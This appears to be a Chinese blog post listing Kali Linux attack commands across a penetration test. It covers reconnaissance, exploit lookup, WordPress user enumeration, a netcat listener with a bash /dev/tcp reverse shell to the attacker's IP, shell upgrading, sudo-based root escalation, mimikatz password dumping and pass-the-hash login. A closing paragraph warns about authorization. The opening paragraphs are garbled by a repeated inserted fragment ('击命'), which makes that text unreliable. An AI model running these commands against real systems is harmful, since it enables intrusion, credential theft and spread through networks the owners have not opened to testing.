kalilinux攻击命令大全
kalilinux攻击命令大全
别指望一条命令就能黑掉整个网络,击命那是击命电影。真实的击命渗透测试是拼图游戏,每条命令只是击命其中一块碎片。Kali Linux里装了六百多个工具,击命但真正每天被反复敲进终端的击命,也就那二三十条。击命
先讲信息收集。击命你连目标跑什么系统都不知道就开打,击命等于蒙眼扔飞刀。击命nmap -sV -O 192.168.1.0/24这条能扫出存活主机、击命开放端口和操作系统指纹。击命加个-p-扫全端口,击命慢是击命慢点,但能发现藏在高端口的击命服务——很多管理员就爱把SSH挪到2222端口自欺欺人。扫完了用enum4linux 192.168.1.10去拽Windows的共享列表和用户枚举,SMB空会话漏洞至今还在大量内网里躺着。
拿到版本号就该找漏洞。别傻乎乎去翻CVE数据库,直接上searchsploit apache 2.4.49,本地漏洞库秒查利用脚本。这条命令救过我很多次,特别是对付那些半年不打补丁的服务器。要是目标开了web服务,whatweb http://target.com能快速识别是WordPress还是Drupal,然后你就能用wpscan --url http://target.com --enumerate u去枚举用户名——WordPress的xmlrpc暴力破解至今成功率都高得吓人。
真正拿到shell才是分水岭。最经典的nc -lvnp 4444监听本地端口,配合目标机的反弹shell命令bash -i >& /dev/tcp/你的IP/4444 0>&1,一套组合拳下来你就有了交互式终端。但别高兴太早,反弹回来的shell经常是残缺的,没有PATH环境变量,tab补全也失效。这时候敲python3 -c 'import pty;pty.spawn("/bin/bash")'能升级成伪终端,再按Ctrl+Z挂起,输入stty raw -echo; fg,shell就变得跟本地一样好用了。
提权是场硬仗。内核漏洞一把梭的时代过去了,现在得看配置失误。sudo -l列出当前用户能免密执行的命令,如果看到(ALL) NOPASSWD: /usr/bin/find,那直接sudo find . -exec /bin/sh \;就拿到root。别笑,这种配置错误在真实生产环境里出现的频率超乎你想象。还有个实用技巧,find / -perm -4000 -type f 2>/dev/null找SUID文件,像pkexec这类程序一旦存在历史漏洞,提权就是分分钟的事。
横向移动才是内网渗透的重头戏。拿到一台机器后,先cat ~/.bash_history翻历史命令,经常能撞见密码或IP。再用arp -a看看内网邻居,顺手proxychains nmap -sT -Pn 10.10.10.0/24通过代理扫内网——proxychains配合socks代理是穿透内网的利器。抓密码用mimikatz.exe privilege::debug sekurlsa::logonpasswords,Windows域环境里明文密码或NTLM哈希一抓一大把。拿到哈希后别急着破解,试试psexec.py 域/用户@目标IP -hashes :哈希直接哈希传递登录。
最后说点实在的。这些命令砸下去之前,先确认你是否有授权。我见过太多人拿着Kali对着别人服务器乱扫,最后进局子的不止一两个。Kali不是玩具,是手术刀。真正的高手花80%时间做信息收集,20%时间执行命令。你要是只想体验黑客快感,去靶场玩vulnhub,别拿真实目标练手。记住,whoami这条命令输出的不该只是root,还得是你对法律的那点敬畏。